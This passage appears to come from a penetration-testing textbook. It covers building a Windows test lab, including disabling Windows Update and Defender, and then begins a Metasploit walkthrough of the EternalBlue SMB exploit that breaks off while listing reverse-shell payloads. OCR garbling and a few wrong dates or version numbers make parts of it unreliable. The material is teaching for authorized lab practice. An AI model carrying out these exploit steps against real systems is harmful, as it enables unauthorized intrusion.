2012 R2, and Windows Server 2016 for servers.

Older versions of Microsoft operating systems received Service Packs; these typically
included all the appropriate security patches and would occasionally include new features.
Beginning with Windows 10, however, Microsoft has moved to a rolling release model. Prior to
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2018, there were five major Windows 10 releases; these can be differentiated by the corresponding
version number. The initial release of Windows 10 was in July 2015, with version 1507. The next
major release was version 1511 from November 2011. The so-called “Anniversary Update,” which
included new features was released in July 2016 as version 1607. Version 1703 was released in
April 2017 and was called the “Creator’s Update,” while Version 1709 was released in October 2017
and was called the “Fall Creator’s Update.”

More details about a version of Windows 10 are available by examining the build number;
this can be found, for example, by running the command winvezr, either from the run menu or
from a command prompt (Figure 1-9).

About Windows X
Rm Windows10 am Windows10
Microsoft Windows Microsoft Windows
Version 1511 (05 Buld 10586.164) Version 1607 (05 Budd 14393.0)
© 2015 Microsoft Corporation. All rights reserved. © 2016 Microsoft Corporation. All rights reserved.
The Windows 10 Pro operating system and its user interface are protected The Windows 10 Pro operating system and its user interface are protected
by trademark and other pending or existing intellectual property rights in by trademark and other pending or existing intellectual property rights in
the United States and other countries/regions. the United States and other countries/regions.
This product is licensed under the Microsoft Software License This product is beensed under the Microsoft Software License
Terms to: Terms to:
David Hilbert Vindows User
o =]

Figure 1-9. The results of the command winver on two different Windows systems. The
one on the left is build 1511 and patched through 10586.164; the one on the right is the
“Anniversary Update,” build 14393, and is otherwise unpatched.

Each Windows 10 system includes an OS Build number; this describes both the version and
the patch level of the system. The initial release of Windows 10 is version 1504 with build number
10240. Version 1511 uses build number 10586, while the anniversary update, version 1607, uses
build number 14393. As an example, build 10586.164 is Windows 10 Version 1511, patched
through KB 3140768, which was released in March 2016.

Installation

The installation of Windows systems in virtualization is standard; both VirtualBox and VMWare
Workstation recognize Windows systems.

When installing Windows systems, the use of “Express Settings” is not recommended.
The default Windows installation settings (Figure 1-10) configure automatic updates and send
diagnostic information to Microsoft; these behaviors are not helpful in a virtual security laboratory.
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ﬂ Windows 8.1 x64 x64 (Chicago) [Running] - Oracle VM VirtualBox == O X

File Machine View Input Devices Help

Settings

Update your PC and apps

Don't set up Windows Update (not recommended) v

Automatically get device drivers, apps, and info for new devices
off | |

Automatically update my apps
Off B

Help protect your PC and your privacy

Use SmartScreen onli 0 help protect against malicious content in sites loaded by Windows Store apps
and Internet Explor icious downloads

off |

Send a Do Not Track request to websites | visit in Intermnet Explorer
off | |

QO&y "My Q e Rhtar

Figure 1-10. Using customized settings for a Windows 8.1 x64 installation

When installing a Windows 8 system, the default installation process asks for an online
account from Microsoft (including Xbox Live, Outlook.com, or OneDrive). This can be bypassed
by selecting the installation setting “Sign in without a Microsoft account”

When installing a Windows 10 system, the user is presented with a dialog box asking, “Who
owns this PC?” If the user answers that “My work or school owns it,” they are presented with the
option to either “Join Azure Active Directory” or “Join a local Active Directory domain.” Provided
the second option is selected, the user can then set up a local account. It is not necessary to have
a domain in place during the installation, though the systems can later be joined to a domain.

Configuring Windows Update

Windows 8.1 and earlier allow the user to decline the option of automatically installing Windows
updates (¢f. Figure 1-10). This can also be changed after the system is installed; navigate the
Control Panel through Systems and Security » Windows Update and make the necessary changes.
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These options are not available for recent versions of Windows 10. Instead, from the Control
Panel, navigate System and Security » Administrative Tools, then select Services. Locate the
service Windows Update; stop the service and set the startup type to Disabled (Figure 1-11).

Windows Update Properties (Local Computer) X
Generel LogOn Recovery Dependencies

Service name: wuauseny

Display name: Windows Update

intion: Enables the detection, download and installation of A
B updates for Windows and other programs. i this

Path to executable:
C:\Windows'system32\svchost exe k netsvcs

Startup type: Disabled v

Service status:  Stopped
Start Stop Pause Besume

You can specify the start parameters that apply when you start the service
from here.

Cancel Aoply

Figure 1-11. Disabling the Windows Update service on Windows 10

Configuring Windows Defender

The antivirus and antispyware tool Windows Defender is installed by default on Windows 8,
Windows 8.1, and Windows 10 systems. On Windows 10, disabling Windows Defender through
the Control Panel only persists until the system reboots. One way to disable it permanently

is to launch the local group policy editor, either by searching in the Start menu, by searching
from the control panel, or by launching MMC, choosing “Add/Remove Snap-in” and selecting
“Group Policy Object Editor” Navigate Local Computer Policy » Computer Configuration »
Administrative Templates » Windows Components » Windows Defender. Choose the option
“Turn off Windows Defender” and set the state to Enabled (Figure 1-12).
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Figure 1-12. Using MMC on Windows 10-1607 to disable Windows Defender

To re-enable Windows Defender, reset that value to “Not Configured,” then start the Windows
Defender GUI and select “Start Now.” On a Windows Server installation, Windows Defender can
be removed using the Add Roles and Features Wizard.

Virtualization Support

Both VirtualBox and VMWare Workstation support Windows operating systems. VMWare
Workstation installs Windows systems using Easy Install, and automatically includes VMWare
Tools.

The installation of VirtualBox Guest Additions on Windows systems must be performed
manually. Once the guest has booted, navigate the guest’s VirtualBox main menu through
Devices » Insert Guest Additions CD Image. This will load a virtual CD with the needed
software in the guest. If the program does not run automatically, start the process by running
VBoxWindowsAdditions.exe from the disc. The installation process requires a guest system reboot
when complete.

Networking on Windows

To set the host name on a Windows system, start the Control Panel, and navigate through System
and Security » System. Use the Change settings link for the “Computer name, domain, and
workgroup settings” section to obtain the System Properties dialog (Figure 1-13).
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Computer Name | Hardware | Advanced | Remote |

h;ll Windows uses the following information to identify your computer
=~ onthe network.

Computer description: |

For example: "lIS Production Server” or
"Accounting Server”.

Full computer name: WIN-FQKKUSEQGSS

Workgroup: WORKGROUP

To rename this computer or change its domain or
workgroup, click Change.

Figure 1-13. System Properties for Windows 2012 R2

The Change button leads to a dialog box that allows the computer name to be changed,
including the primary DNS suffix of the system. Changing the system name necessitates a reboot.

To configure networking on a Windows system, start the Control Panel and navigate through
Network and Internet » Network and Sharing center » Change adapter settings. Right-click on
an adapter to obtain a dialog box to change the settings (Figure 1-14).

To change the IPv4 Settings, highlight Internet Protocol Version 4, then press the Properties
button. Manually specify the IP address and DNS sever for the adapter; additional IP addresses
can be specified from another dialog found by pressing the Advanced button.
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& Ethernet Properties
Networking

Connect using:
7 Intel(R) PRO/1000 MT Desktop Adapter

This connection uses the following items:

] B8 Client for Microsoft Networks A
] "3 File and Printer Sharing for Microsoft Networks

] %3QoS Packet Scheduler

W 4 Intemet Protocol Version 6 (TCP/IPvE)

¥ 4 Intemet Protocol Version 4 (TCP/IPv4)

W 4 Link-Layer Topology Discovery Mapper 1/0 Driver

[0 4 Microsoft Network Adapter Multiplexor Protocol v
< >

| sl || Uninstal | Properties
Description
Allows your computer to access resources on a Microsoft
network.

OK || Cancel
Figure 1-14. Local Area Connection Properties on Windows 10-1511

The command-line tool ipconfig shows the status of the network adapters; it can be used to
validate the settings made in the graphical interface.

C:\Users\David Hilbert>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::a146:de71:9e16:6130%3
IPv4 Address. . . . . . . . . .. : 10.0.15.202

Subnet Mask . . . . . . . . . . . ! 255.255.0.0

Default Gateway . . . . . . . . . : 10.0.0.1

Tunnel adapter isatap.{64CAB2B0-060D-465F-B073-F512A4E2C5CB}:

Media State . . . . . . . . . .. : Media disconnected
Connection-specific DNS Suffix

When the properties of a network adapter are changed, the location of that network needs
to be set as either “Home network,” “Work network,” or “Public Network” When building test
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networks, usually “Work Network” is the most appropriate choice. Windows 10 systems label
networks as “Private” or “Guest or Public.”

The Windows Firewall is controlled through the Control Panel; navigate System and Security
» Windows Firewall.

By default, Windows Firewall blocks ping requests and ping replies; this can make debugging

networking problems more challenging. To permit responses to ping traffic, from the Windows
Firewall dialog box in the Control Panel, select Advanced Settings (Figure 1-15). From the list of
Inbound Rules, select “File and Printer Sharing (Echo Request - ICMPv4-In),” right-click, and
enable the rule from the Action Pane.

File Action View Help
e znm = B
@ vindowrewt v et
I nbound Pules Name Group - Profile  Enabled  Action  ~ || Inbound Rules -
K Outbound Rules @ Core Networking - Router Solicitation (IC... Core Networking All Ves Allow
$i Connection Security Rules @c : A &1 New Rule...
b B Monitoring ore N!tmrk!ng - T_uudo (UDP-In) Core N:twurk!ng All Yes Allow T Fiter by Profile N
- (@ Core Networking - Time Exceeded (ICMP... Core Networking All Yes Allow by
@ Distributed Transaction Coordinator (RPC)  Distributed Transaction Coo.., All No Allow T Filter by State »
@ visti ien € i (RP... Distri Ti ion Coo..  All Ne Allow T Filter by Group »
."' ibuted T ion Coordi (TC... Distril Transaction Coo...  All Mo Allow | View '
+/ File and Printer Sharing (Eche Request - I...  File and Printer Sharing All Yes Allow
@ File and Printer Sharing (Echc Request - 1. File and Printer Sharing All No Allow |G} Refresh
.ﬁl: and Printer Sharing (LLMMNR-UDP-In)  File and Printer Sharing All Me Allow |5 Export List..
@ File and Printer Sharing (N8-Datagram-In)  File and Printer Sharing All Me Allow Help
.Fl'le and Printer Sharing (NE-Name-In) File and Printer Sharing Al Mo Allow -
.File and Printer Sharing (NB-5ession-In) File and Printer Sharing Al Ne Allow Fi
@ File and Printer Sharing (SMB-In) File and Printer Sharing All MNe Allow =
.ﬁlg and Printer Sharing (Spooler Service -... File and Printer Sharing All Mo Allow
@ File and Printer Sharing (Spooler Service -... File and Printer Sharing All Neo Allow ‘r Cut
@ File and Printer Sharing over SMBDirect (i.. File and Printer Sharing over... All HNe Allow 5 Copy
@iscsi Service (TCP-In) iSCS| Service Al Ne Allow K Delete
@ Key Management Service (TCP-In) Key Management Service Al Mo Allow [] Properties
.Neliogon Service (NP-In) Netlegen Service Al Ne Allow
@ Netlogen Service Authz (RPC) Netlegen Service Al Me Allow H Hep
ONelworlc Discovery (LLMNR-UDP-In) Metwork Discovery Private  Yes Allow
@ Network Discovery (LLMNR-UDP-In) Network Discovery Domai.. Mo Allow
(@) Network Discovery (MB-Datagram-in) Netwerk Discovery Private  Yes Allow
.Nelworlc Discovery (MB-Datagram-In) Network Discovery Domai.. Mo Allow
.Nelwnrlc Discovery (NB-Name-in) Network Discovery Domai.. Mo Allow
aNdworlc Discovery (NB-Name-In) Network Discovery Private  Yes Allow
.N!lwurlc Discovery (Pub-W5D-In) Network Discovery Domai... Ne Allow
ONmmrk Discovery (Pub-WS5D-In) Network Discovery Private  Yes Allow
°Nelwur|: Discavery (SSDP-In) Network Discovery Private  Yes Allow |~
«  wm ] > < i [ >
=l |

Figure 1-15. Configuring Windows 2012 R2 to reply to ping requests

Browsers on Windows

Windows 7, Windows 8, and Windows 8.1 systems ship with Internet Explorer as their default browser,

while Windows 10 includes Edge as its default browser. Internet Explorer 10 is still included in

Windows 10 and can be run from by typing “Internet Explorer” into the search bar on the start menu.
Firefox can be installed by downloading and running the proper installer. To keep Firefox

in its installed version, automatic updates must be disabled. Navigate the Firefox main menu
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through Tools » Options » Advanced » Update, and disable the settings found there; they vary
slightly with different versions of Firefox.

Some versions of Firefox (e.g., 17.0) ignore these settings, and simply determining the version
of Firefox by navigating Help » About Firefox will cause Firefox to download the latest version;
each time Firefox then starts, it will attempt to install this update. To prevent this behavior, make
additional changes on the page about : config by ensuring each of the following values is set to false:

e app.update.auto
e app.update.enabled
e app.update.slient

The installation of Java on Windows is standard. Once installed, Java functions in both Firefox
and Internet Explorer. Note that in general, a 32-bit version of Java is necessary for the plugin to
function correctly. Microsoft Edge does not support plugins and will not run Java.*

Most recent versions of Java will automatically attempt to update themselves. This behavior
is controlled by the Java Update Scheduler, jusched.exe, which launches when the system boots.
To prevent the automatic updates, it is simplest to prevent jusched. exe from starting by running
msconfig.exe to disable its automatic start (Figure 1-16). On Windows 10, changing the startup
sequence with msconfig.exe redirects to the proper tab in the Windows 10 task manager.

LI System Configuration ()

| General | Boot | services | Startup | Tools

Startup Item Manufacturer Command Location Date Disabled

[FdlOrade VM Vi... Orade Corpora... C:\Windows'sy... HKLM\SOFTWAREWM...
[7] Java(T™) Pl... Sun Microsyste... "C:\ProgramFil... HKLM\SOFTWAREWM... 7/7/2014 1:59:...

Figure 1-16. Disabling the Java Update Scheduler with msconfig on Windows 7

Yhttps://www.java.com/en/download/faq/win10_faq.xml
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The installation of Adobe Flash on Windows is standard. The archives contain versions for
Internet Explorer, which usually end winax. exe and versions for Firefox, which usually end win.
exe; the stand-alone package typically ends win_sa.exe. The readme file in each archive provides
guidance. Attempts to install some older versions of Flash may be prevented with an error stating
that the version is out of date. To bypass this, run the installer from the command line with the
-force option:

c:\Users\Felix Klein\Desktop>flashplayerii_ 1r102_55_winax_32bit.exe -force

Beginning with Windows 8, Microsoft includes a version of Adobe Flash Player in the default
installation configured for Internet Explorer and Edge. Windows 8 includes Adobe Flash Player
11.3.372, Windows 8.1 includes 11.8.800, the initial Windows 10 release (version 1504, build
10240) includes Adobe Flash Player 18.0.0, while the anniversary edition (version 1607, build
14393) includes Adobe Flash Player 22.0.0, and the Fall Creator’s update (version 1709) includes
Adobe Flash Player 27.0.0.

Some versions of Adobe Flash will also automatically search online for updates. To disable
this behavior, create the file C: \Windows\System32\Macromed\Flash\mms.cfg with the content

AutoUpdateDisable=1
SilentAutoUpdateDisable=0

Later versions of Adobe Flash Player provide a dialog box during installation allowing the
user to determine if and how updates are to be installed.

Notes and References

The easiest way to build a consistent test system is to be aware of the release dates of the various
software components that are installed. This book has an online supplement at https://www.
apress.com/us/book/9781484242933 that includes tables for the release dates of the operating
systems and software described. For those so inclined, it also includes exercises for each chapter.

Windows operating systems must be purchased from Microsoft. Limited time evaluation
copies are available from Microsoft through the TechNet Evaluation Center (http://technet.
microsoft.com/evalcenter). Windows 10 can be downloaded from https://www.microsoft.
com/en-us/software-download/windows10. Students and educators can participate in the
Microsoft Imagine program https://imagine.microsoft.com/en-us/catalog that gives access
to current and some recent, older versions of their operating systems. Microsoft provides virtual
machines to test Internet Explorer and Microsoft Edge at https://developer.microsoft.com/
en-us/microsoft-edge/tools/vms/.

Old versions of CentOS can be found at http://vault.centos.org/; however, the install
images are redirected to the mirror http://archive.kernel.org/centos-vault/. Links to
mirrors containing old versions of OpenSuSE can be found at http://en.opensuse.org/
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openSUSE :Mirrors. Old versions of Ubuntu can be found at http://o0ld-releases.ubuntu.
com/releases/. The Mint project provides links to current versions of Mint at https://www.
linuxmint.com/download.php. Older versions of Mint remain available for download, though
direct links to the pages are difficult to find. One approach is to visit a mirror directly; the list

of Mint mirrors is available at https://www.1linuxmint.com/mirrors.php. Many mirrors like
http://mirrors.kernel.org/linuxmint retain older versions of Mint. Kali can be downloaded
from https://www.kali.org/downloads/.

Firefox can be downloaded from https://ftp.mozilla.org/pub/mozilla.org/firefox/
releases/.

Java can be obtained from the Oracle Java Archive at http://www.oracle.com/technetwork/
java/archive-139210.html. Users must sign on with Oracle before being permitted to download
software.

Adobe Flash Player is available at http://helpx.adobe.com/flash-player/kb/archived-
flash-player-versions.html. Between 2011 and 2017, there were some 236 different releases of
Adobe Flash Player.

Virtualization Tools

VMWare Workstation can be purchased directly from VMWare at http://www.vmware.com/
products/workstation. Their free product, VMWare Player, is suitable for nearly all of this text. It can
be downloaded from http://www.vmware.com/products/player/playerpro-evaluation.html.

VirtualBox can be downloaded from https://www.virtualbox.org. VirtualBox has an
excellent online manual available at https://www.virtualbox.org/manual.

In my experience, the drag-and-drop function provided by VirtualBox Guest Additions does
not always function as intended. I have had difficulty with this feature in OpenSuSE systems,
some Ubuntu systems, and some Mint systems. This is rarely a problem though, as the shared
folder feature works well.

Shared folders may be scanned by antivirus software running on the host. This can
complicate the passing of malware between guests.

When planning enough memory for virtual machines, be sure to retain memory for the host
and whatever virtualization software is needed.

Building Linux Systems

Documentation for CentOS can be found on their wiki at http://wiki.centos.org/
Documentation, and the changes to the networking system implemented between CentOS 7
and CentOS 5/6 are well described at https://wiki.centos.org/FAQ/Cent0S7. OpenSuSE
keeps their documentation at http://doc.opensuse.org. Documentation for Ubuntu can be
found on their official site at https://help.ubuntu.comand on their wiki at https://help.
ubuntu.com/community. In general, Mint is configured in the same fashion as Ubuntu; there are
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installation and usage guides available for some versions of Mint at http://www.linuxmint.com/
documentation.php.

Documentation for iptables is available directly from http://www.netfilter.org/
documentation/.

There is a bug that affects the installation of Ubuntu 14.10 in VirtualBox. The graphics system
is not properly detected during the installation, and so after the system boots to the installation
disc, the display is a garbled collection of colored pixels. One way to solve the problem is to
press Right CTRL + F1, then Right CTRL + F7 from the VirtualBox Ubuntu 14.10 system. This
effectively tells Ubuntu to (properly) re-detect the graphics settings. See http://askubuntu.com/
questions/541006/ubuntu-14-10-does-not-install-in-virtualbox for more details and other
solutions.

Some systems when configured to use the original repositories still show one of more files
that need to be updated; this is particularly noticeable on Mint systems but does occur on others.

A good reference for the structure of systemd is available from https://wiki.archlinux.
org/index.php/systemd. A quick reference to the differences between Systemd and SysVinit is
available from the documentation for the Fedora project at https://fedoraproject.org/wiki/
SysVinit to Systemd Cheatsheet. A comparison of systemd and Upstart (used by Ubuntu) is
available from https://wiki.ubuntu.com/SystemdForUpstartUsers.

The change of network interface names from the older etho to the more modern enp0s3 was
a change introduced in v197 of systemd; see https://www.freedesktop.org/wiki/Software/
systemd/PredictableNetworkInterfaceNames/.

Ubuntu 17.04 and 17.10 no longer install the tool ifconfig. To view and modify the IP
address of such a system, the administrator can use the command ip addr.

By default, Ubuntu 17.10 does not allow the use of gedit with sudo; on these systems, root
no longer has access to the display. This behavior can be modified with the command xhost
+si:localuser:root. See https://askubuntu.com/questions/967389/gtk-ubuntu-17-10.

Cloning and copying systems can lead to some surprising effects. For example, if a CentOS 6
system is created by cloning a VirtualBox system or copying a VMWare Workstation system, then
the network adapter in the system should be assigned a different MAC address than the original.
Because the CentOS udev device manager tracks the MAC address assigned to each network card,
the copied guest will not have an eth0 card, but will have an eth1 card. To modify this behavior,
edit the file /etc/udev/rules.d/70-persistent-net.rules and remove the reference to the
older network card. Similar behaviors occur for a variety of different distributions and releases.

Building Windows Systems

Each Windows system has its own Machine SID. The SID is a security identifier, and Microsoft
systems have them for users, groups, computers, and other security principals. The command-
line tool wmic can be used to find the SID for local users on a Windows system. Here is the result
run on a Windows 2012 R2 server.
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C:\Users\Administrator>wmic useraccount get name, sid

Name SID

Administrator S-1-5-21-2662891359-98615007-2145025997-500
Elie Cartan S-1-5-21-2662891359-98615007-2145025997-1001
Guest 5-1-5-21-2662891359-98615007-2145025997-501

The PSGetSid.exe tool from the Sysinternals PSTools suite (which can be downloaded from
Microsoft at https://docs.microsoft.com/en-us/sysinternals/downloads/pstools) can
print the SID for the computer or an account on the computer. Running it on the same server, we
obtain

C:\Users\Administrator>Desktop\PSTools\PsGetsid.exe

PsGetSid v1.44 - Translates SIDs to names and vice versa
Copyright (C) 1999-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

SID for \\WIN-FQKKUSEQGSS:
S-1-5-21-2662891359-98615007-2145025997

Comparing these results, it is clear that the SID of the local user is just the SID of the system
followed by a relative ID; administrator accounts have the relative ID of 500 (which is why
renaming administrator accounts provides less security than might be imagined), the guest
account has relative ID 501, and subsequent accounts start at 1000 and go up from there.

If a Windows system is duplicated, either by cloning a VirtualBox guest, or copying a VMWare
Workstation guest, the system’s Machine SID remains unchanged. The machine SID can be
changed by running the Sysprep program located on the system at c: \Windows\System32\
Sysprep\Sysprep.exe with the generalize option enabled.

The question of what happens if there are two systems on a network with the same machine
SID is an interesting one. There was a SysInternals tool to update a system’s Machine SID, but that
has long since been discontinued. The tool’s author, Mark Russinovich, back in 2009 wrote on his
blog: “I became convinced that machine SID duplication - having multiple computers with the
same machine SID - doesn’t pose any problem, security or otherwise. I took my conclusion to
the Windows security and deployment teams and no one could come up with a scenario where
two systems with the same machine SID, whether in a Workgroup or a Domain, would cause an
issue” (http://blogs.technet.com/b/markrussinovich/archive/2009/11/03/3291024.aspx)

Years of teaching a university course on these topics have convinced me that this is almost
true. In particular, my students have noticed that on a Windows domain, if both a domain
controller and a (different) Windows file server have the same SID, then some difficult-to-track-
down errors occur, errors that are not present if the two systems have different SIDs.

More information about the sysprep process can be found from Microsoft TechNet at http://
technet.microsoft.com/en-us/library/cc721940(v=ws.10).aspx.
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The chapter recommends disabling the Windows Update service to prevent the Windows
automatic update process. However, Windows occasionally disregards this setting, re-enables the
Windows Update service, and then starts updating itself. For a stand-alone Windows 10 system, I
do not know of a simple method to stop this problematic behavior. For systems on a domain, the
domain administrator can create a group policy object, and navigate Policies » Windows Settings
» Security Settings » System Services, then select Windows Update and set it to disabled.

The Control Panel on Windows systems contain an entry for Java. On systems with Java 6, one
of the tabs is meant to configure Java’s update behavior. It gives the option to disable automatic
updates or to reschedule how often Java checks for updates. My experience, however, is that this
simply does not work. Uncheck the box labeled “Check for Updates Automatically” and restart
the system. Go back to the Java entry for the Control Panel, and you will see the box has been
rechecked for you, and that Java will automatically check for updates.

It appears that Microsoft no longer provides official download links for older versions of
Internet Explorer; visitors to the download page are only given the option of upgrading to the
most recent version. There are third-party sites that maintain archives of older versions of
software; however, additional care should be taken when using these services to ensure that the
downloaded software has not been surreptitiously modified; this is complicated by the fact that
Microsoft does not provide the usual software hashes (MD5, SHA1) either.
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CHAPTER 2

Basic Offense

Introduction

How does an adversary attack a computer system? One approach is to provide data to a program
running on that system that causes it to act on behalf of the attacker. The Morris worm, released
in 1988, attacked vulnerable services including fingerd and sendmail, as well as poorly
configured rexec and rsh. When it attacked fingerd, it sent a 536-byte request to C code using
gets() that provided a buffer with only 512 bytes of space; the resulting overflow allowed the
worm'’s code to execute on the target.

On systems running between 2011 and 2017, most services that listen for unsolicited network
connections have been hardened sufficiently that remote attacks rarely succeed. One major
exception has been the EternalBlue exploit and related attacks. In general, the attackers’ focus has
moved to programs run by users on these systems that take untrusted input. The most common
such tool is the web browser.

In this chapter, the reader will learn how to use Metasploit to launch the EternalBlue attack and
to attack web browsers and web browser plugins across a range of Windows and Linux systems. The
reader will also learn how to use Metasploit to generate malware and to use it to exploit systems.

Ethics

Let me begin this chapter with a personal note about ethics.

As anyone who has done it knows, hacking is fun. It is often exciting, exhilarating, and
intoxicating, but it can and does blind people to the consequences of their actions. When practicing
or using offensive skills, consider - is this something you would share publicly? Would you be
willing to put this on your resume? Or tell the important people in your life? Do you have explicit
permission to do what you are doing? Was permission granted by someone authorized to give it?

Don't rationalize behavior, especially after the fact. Saying that you are doing something to
improve security holds no water. Imagine you came home to find someone had broken into your
apartment, and their response is to tell you that they were just testing your security and by the
way that you should really use better locks on your windows.

Law enforcement has gotten much better at tracking attackers that get their attention, and
the size of the punishments they try to impose have become surprisingly large. Robert Morris,
the author of the Morris worm, which is estimated to have infected a significant fraction of the
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Internet in 1988, was the first person convicted under the Federal Computer Fraud and Abuse
Act, and he received three years’ probation, fined $10,000, and ordered to perform 400 hours
of community service.! Compare that with the story of Aaron Swartz who in 2010 and 2011
downloaded copies of many academic journals. He was caught and charged with fraud and
violating the Federal Computer Fraud and Abuse Act, which could have resulted in 35 years in
prison and a million-dollar fine;? instead, he committed suicide.?

Metasploit

Metasploit is a popular penetration testing tool that comes preinstalled on Kali systems. It is
composed of separate tools, including msfconsole, the core interactive text program that allows
a user to interact with the different Metasploit components; and msfvenom, which is used to
generate payloads and stand-alone malware.

There are graphical user interfaces available for Metasploit; one popular tool available on
Kali is Armitage.

Metasploit is a modular tool and separates the exploit, which attacks the vulnerable target,
from the payload, which is what is run on the target after a successful exploit. Metasploit also
provides separate auxiliary modules, many of which are used for network discovery; and post-
exploitation modules, which are run on targets after a successful exploit, often to escalate
privileges on the target.

Vulnerabilities

Metasploit exploit modules generally target a single vulnerability on the target. A vulnerability
in software is a flaw that can potentially be used by an unauthorized user to cross a security
boundary. To provide a uniform method to refer to vulnerabilities, the dictionary of Common
Vulnerabilities and Exposures (CVE) was created.

Not all vulnerabilities are sufficiently serious to warrant a CVE number. Referencing a
vulnerability by its CVE number helps different researchers be sure that they are talking about
the same underlying issue. CVE numbers have the form CVE-YYYY-ZZZZ where YYYY is the
year and ZZZ77Z is an identifier within that year, like CVE 2008-4250. Prior to 2014, identifiers
were four digits; now identifiers may be arbitrarily long. The full CVE list is available at
https://cve.mitre.org.

Security problems in Microsoft products are also commonly identified by the Microsoft
Security Bulletin that addresses the issue. These are labeled in the form MSYY-ZZZ where YY is a
two-digit year and ZZZ is an identifier within that year, like MS08-067.

thttp://www.nytimes.com/1990/05/05/us/computer-intruder-is-put-on-probation-and-fined-10000.html
*https://www.justice.gov/archive/usao/ma/news/2011/July/SwartzAaronPR.html
*http://www.nytimes.com/2013/01/13/technology/aaron-swartz-internet-activist-dies-at-26.html
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Metasploit: EternalBlue

In April 2017, a group calling themselves the Shadow Brokers released a collection of exploit

tools that they claimed had been used by the NSA. One of the tools was named EternalBlue and
exploited a vulnerability in Windows SMB. The underlying vulnerability was patched by Microsoft
in MS17-010, while the vulnerabilities themselves are numbered CVE 2017-0143, CVE 2017-0144,
CVE 2017-0145, CVE 2017-0146, CVE 2017-0147, and CVE 2017-0148.

Attack: EternalBlue on Windows 7 SP1

The Metasploit module that exploits this vulnerability is exploit/windows/smb/ms17 010 _
eternalblue. This Metasploit module affects only 64-bit systems running Windows 7 or
Windows Server 2008 R2. The target system must be configured so that TCP/445 is accessible to
the attacker. The related module exploit/windows/smb/ms17 010 eternalblue win8 affects
Windows 8, 8.1, and 10.

Configuring the Metasploit Internal Database

Metasploit uses a PostgreSQL database to store its data, which is not started by default on Kali.
Though Metasploit can function without its database, it is preferential to have it available. Start
the database and ensure that the database starts automatically on subsequent boots with the
following commands.

root@Kali201602:~# systemctl start postgresql

root@Kali201602:~# systemctl enable postgresql

Synchronizing state of postgresql.service with SysV service script with
/1ib/systemd/systemd-sysv-install.

Executing: /lib/systemd/systemd-sysv-install enable postgresql

insserv: warning: current start runlevel(s) (empty) of script “postgresql’
overrides LSB defaults (2 3 4 5).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script “postgresql’
overrides LSB defaults (0 1 6).

r0o0t@Kali201602:~# msfdb init

Creating database user 'msf’

Enter password for new role:

Enter it again:

Creating databases 'msf' and 'msf test'

Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
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These steps only need to be performed once on a Kali system; afterwards the database will be
functioning correctly.*

Launching Metasploit

Start the Metasploit tool msfconsole from the command line by running

r0o0t@Kali201602:~# msfconsole -q
mst >

Here the -q switch is used with msfconsole to suppress the amusing but large startup banner.
Be patient; it can take a moment or two before the msf > prompt is ready. Once Metasploit is
running, verify that the database is running by running the command

mst > db_status
[*] postgresql connected to msf

Selecting the Exploit
From Metasploit, select the EternalBlue exploit with the use command.

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010 eternalblue) >

Notice that the command prompt has changed; now it includes the exploit module as part of
the prompt.
The info command provides the user with information about the chosen exploit.

msf exploit(ms17_010_eternalblue) > info

Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17 010 eternalblue
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14

“These may need to be repeated if the software on the Kali system is updated.
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Available targets:
Id Name
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0 Windows 7 and Server 2008 R2 (x64) All Service Packs

Basic options:

Name Current Setting Required Description

GroomAllocations 12

GroomDelta 5
MaxExploitAttempts 3
ProcessName spoolsv.exe
RHOST

RPORT 445
SMBDomain

SMBPass

SMBUser

VerifyArch true
VerifyTarget true

Payload information:
Space: 2000

Description:

yes

yes

yes

yes
no

no

no

yes

yes

Initial number of times to
groom the kernel pool.

The amount to increase the
groom count by per try.

The number of times to
retry the exploit.
Process to inject payload
into.

The target address

The target port (TCP)
(Optional) The Windows
domain to use for
authentication

(Optional) The password
for the specified
username

(Optional) The username to
authenticate as

Check if remote
architecture matches
exploit Target.

Check if remote 0S matches
exploit Target.

This module is a port of the Equation Group ETERNALBLUE exploit,
part of the FuzzBunch toolkit released by Shadow Brokers. There is a
buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is
calculated in Srv!SrvOs2FealistSizeToNt, with mathematical error
where a DWORD is subtracted into a WORD. The kernel pool is groomed
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so that overflow is well laid-out to overwrite an SMBvi buffer.
Actual RIP hijack is later completed in
srvnet!SrvNetWskReceiveComplete. This exploit, like the original may
not trigger 100% of the time, and should be run continuously until
triggered. It seems like the pool will get hot streaks and need a
cool down period before the shells rain in again. The module will
attempt to use Anonymous login, by default, to authenticate to
perform the exploit. If the user supplies credentials in the
SMBUser,SMBPass, and SMBDomain options it will use those instead. On
some systems, this module may cause system instability and crashes,
such as a BSOD or a reboot. This may be more likely with some
payloads.

... Output Deleted ...

Setting Options

Before the exploit can be run, the required options need to have values chosen. For this exploit
module, the only required option that is initially unset is RHOST; this is the IP address or hostname
of the target. Suppose that 10.0.15.210 is the IP address of a 64-bit Windows 7 (SP 1) system that
has TCP/445 accessible to the attacker. To target this system, the attacker configures the option in
the module with the set command.

msf exploit(ms17_010_eternalblue) > set rhost 10.0.15.210
rhost => 10.0.15.210

Choosing the Payload

Before the attack is launched, the attacker needs to determine what to do if the attack is
successful. This is done by selecting a payload. A payload can be code that is run on the remote
system, or it can be as simple as a single command. The available payloads for an exploit can be
seen with the command show payloads.

msf exploit(ms17_010_eternalblue) > show payloads

Compatible Payloads

Name Rank Description

generic/custom normal Custom Payload

generic/shell bind tcp normal Generic Command Shell, Bind TCP
Inline
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generic/shell reverse tcp normal Generic Command Shell, Reverse TCP

Inline
windows/x64/exec normal Windows x64 Execute Command
windows/x64/loadlibrary normal Windows x64 LoadlLibrary Path
...Output Deleted ...
windows/x64/meterpreter normal Windows Meterpreter
/reverse_http (Reflective Injection x64), Windows
x64 Reverse HTTP Stager (wininet)
windows/x64/meterpreter normal Windows Meterpreter (Reflective
/reverse_https Injection x64), Windows x64 Reverse
HTTP Stager (wininet)
windows/x64/meterpreter normal Windows Meterpreter (Reflective
/reverse_tcp Injection x64), Windows x64 Reverse
TCP Stager

... Output Deleted ...

The most commonly used payload is Meterpreter. Meterpreter is a program designed to be
